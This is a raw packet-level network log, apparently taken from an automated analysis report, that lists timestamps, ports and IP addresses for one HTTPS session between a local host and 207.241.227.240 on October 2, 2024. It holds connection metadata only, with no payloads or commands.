Oct 2, 2024 05:22:08.504504919 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.504513025 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.504641056 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.562177896 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.562201023 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.562310934 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.562320948 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.562392950 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.562587023 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.562602043 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.562813044 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.562819958 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.562900066 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.583451033 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.583467960 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.583651066 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.583666086 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.583815098 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.583853960 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.583868980 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.584045887 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.584053993 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.584182978 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.584357977 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.584378958 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.584481001 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.584489107 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.584558964 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.584984064 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.584999084 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.585089922 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.585098028 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.585192919 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.585715055 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.585728884 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.585803986 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.585810900 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.585880995 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.596735001 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.596751928 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.596843958 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.596849918 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.596906900 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.654896021 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.654917955 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.655061960 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.655072927 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.655144930 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.655415058 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.655431986 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.655498981 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.655507088 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.655549049 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.675685883 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.675704956 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.675816059 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.675832987 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.675903082 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.676323891 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.676337957 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.676426888 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.676439047 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.676506996 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.676610947 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.676625013 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.676716089 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.676724911 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.676811934 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.677422047 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.677437067 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.677508116 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.677516937 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.677581072 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.677792072 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.677807093 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.677932024 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.677942038 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.678004980 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.690295935 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.690320015 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.690651894 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.690660954 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.690742016 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.749615908 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.749634981 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.749742985 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.749749899 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.749839067 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.750066996 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.750082970 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.750204086 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.750210047 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.750264883 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.768264055 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.768280029 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.768416882 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.768429041 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.768491030 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.768749952 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.768770933 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.768852949 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.768861055 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.768948078 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.769383907 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.769397974 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.769488096 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.769499063 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.769553900 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.769829035 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.769850016 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.769922018 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.769929886 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.770008087 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.770478010 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.770493031 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.770551920 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.770560026 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.770621061 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.781676054 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.781692028 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.781810045 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.781821012 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.781896114 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.842015028 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.842035055 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.842165947 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.842175007 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.842276096 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.842395067 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.842408895 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.842529058 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.842535973 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.842586040 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.860887051 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.860908031 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.861067057 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.861076117 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.861123085 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.861421108 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.861434937 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.861511946 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.861521006 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.861572981 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.861846924 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.861861944 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.861979961 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.861988068 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.862066031 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.862627029 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.862648964 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.862756014 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.862763882 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.862823963 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.863117933 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.863141060 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.863213062 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.863220930 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.863271952 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.874205112 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.874222994 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.874289989 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.874300003 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.874356031 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.934530020 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.934555054 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.934719086 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.934730053 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.934822083 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.935098886 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.935117960 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.935213089 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.935221910 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.935276031 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.958228111 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.958254099 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.958304882 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.958349943 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.958349943 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.958375931 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.958390951 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.958458900 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.958846092 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.958862066 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.958946943 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.958957911 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.959912062 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.959930897 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.959989071 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.959999084 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.960011005 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.960905075 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.960923910 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.960959911 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.960968018 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.960988998 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.966675043 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.966695070 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.966784000 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.966793060 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.011889935 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.026989937 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.027010918 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.027151108 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.027160883 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.027226925 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.027543068 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.027559996 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.027622938 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.027631998 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.027671099 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.050518036 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.050534964 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.050705910 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.050714016 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.050766945 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.051398039 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.051417112 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.051603079 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.051609993 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.051671982 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.052403927 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.052433968 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.052481890 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.052488089 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.052532911 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.053352118 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.053373098 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.053420067 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.053423882 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.053431988 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.053451061 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.053530931 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.053530931 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.053543091 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.053555012 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.053591013 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.059210062 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.059226036 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.059348106 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.059356928 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.059406996 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.301527977 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.301549911 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.301711082 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.301726103 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.301774025 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.302009106 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.302026033 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.302089930 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.302099943 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.302154064 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.305942059 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.305959940 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.306063890 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.306072950 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.306085110 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.306118965 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.306899071 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.306915998 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.306997061 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.307004929 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.307060003 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.307687998 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.307703018 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.307775974 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.307782888 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.307794094 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.307813883 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.307847023 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.307853937 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.307876110 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.307893991 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.307909012 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.307909966 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.307920933 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.307995081 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.308758974 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.308779955 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.308832884 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.308840036 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.308866978 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.308877945 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.309330940 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.309351921 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.309405088 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.309411049 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.309432983 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.309449911 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.309463978 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.309477091 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.309484005 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.309520006 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.309560061 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.313357115 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.313374996 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.313458920 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.313467979 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.313510895 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.313864946 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.313879967 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.313944101 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.313951015 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.313977003 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.313993931 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.313994884 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.314007998 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.314028025 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.314054012 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.314819098 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.314838886 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.314893961 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.314908981 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.314917088 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.314954996 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.314996004 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.315365076 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.315381050 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.315428972 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.315437078 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.315466881 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.315604925 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.315623045 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.315660954 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.315668106 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.315696955 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.316235065 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.316272974 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.316344976 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.316354036 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.316375971 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.328006983 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.328030109 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.328129053 CEST	49730	443	192.168.2.4	207.241.227.240
